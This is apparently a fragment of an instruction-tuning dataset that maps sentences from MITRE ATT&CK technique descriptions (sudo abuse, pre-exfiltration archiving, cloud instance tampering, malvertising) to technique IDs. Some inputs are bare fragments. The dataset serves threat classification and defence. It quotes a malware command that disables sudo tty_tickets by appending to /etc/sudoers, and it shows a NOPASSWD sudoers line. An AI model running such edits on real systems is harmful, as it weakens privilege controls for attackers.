that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This also describes which commands users can run as other users or groups.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This also describes which commands users can run as other users or groups. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD:", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If it does, then malware can execute sudo commands without needing to supply the user's password.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If it does, then malware can execute sudo commands without needing to supply the user's password. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults ! ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "tty_tickets\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton)", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: tty_tickets\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order for this change to be reflected, the malware also issued <code>killall", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order for this change to be reflected, the malware also issued <code>killall ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Terminal</code>.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Terminal</code>. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may compress and/or encrypt data that is collected prior to exfiltration.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may compress and/or encrypt data that is collected prior to exfiltration. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method.", "output": "T1560.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. ### Response: T1560.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references.", "output": "T1560.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. ### Response: T1560.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)", "output": "T1560.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2) ### Response: T1560.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may create a snapshot or data backup within a cloud account to evade defenses.", "output": "T1578.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may create a snapshot or data backup within a cloud account to evade defenses. ### Response: T1578.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume.", "output": "T1578.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. ### Response: T1578.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.", "output": "T1578.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. ### Response: T1578.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)", "output": "T1578.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020) ### Response: T1578.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.", "output": "T1578.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. ### Response: T1578.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.", "output": "T1578.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable. ### Response: T1578.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation:", "output": "T1578.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: ### Response: T1578.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant M-Trends 2020)", "output": "T1578.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant M-Trends 2020) ### Response: T1578.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence.", "output": "T1578.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. ### Response: T1578.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.", "output": "T1578.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. ### Response: T1578.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another variation of this technique is to utilize temporary storage attached to the compute instance.", "output": "T1578.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another variation of this technique is to utilize temporary storage attached to the compute instance. ### Response: T1578.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", "output": "T1578.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot) ### Response: T1578.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses.", "output": "T1578.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. ### Response: T1578.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account.", "output": "T1578.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. ### Response: T1578.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)", "output": "T1578.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020) ### Response: T1578.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.", "output": "T1578.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances. ### Response: T1578.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses.", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute.", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such modifications may allow adversaries to abuse the victim\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such modifications may allow adversaries to abuse the victim\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim. ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, cloud providers often limit customer usage of compute resources via quotas.", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, cloud providers often limit customer usage of compute resources via quotas. ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider.", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023)", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023) ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy) ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535).", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation:", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Peach Sandstorm 2023)", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Peach Sandstorm 2023) ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation:", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation: ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022) ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020) ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent infrastructure that can be used during targeting. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of infrastructure exists for hosting and orchestrating adversary operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of infrastructure exists for hosting and orchestrating adversary operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation:", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT29 Microsoft 365 2022)", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT29 Microsoft 365 2022) ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase online advertisements that can be abused to distribute malware to victims.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ads can be purchased to plant as well as favorably position artifacts in specific locations  online, such as prominently placed within search engine results.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ads can be purchased to plant as well as favorably position artifacts in specific locations  online, such as prominently placed within search engine results. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network\u2019s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network\u2019s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Purchased ads may attempt to impersonate or spoof well-known brands.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Purchased ads may attempt to impersonate or spoof well-known brands. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary\u2019s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising)", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary\u2019s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising) ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising) ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also employ several techniques to evade detection by the advertising network.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also employ several techniques to evade detection by the advertising network. ### Response: T1583.008."}{"instruction": "List the MITRE techniques 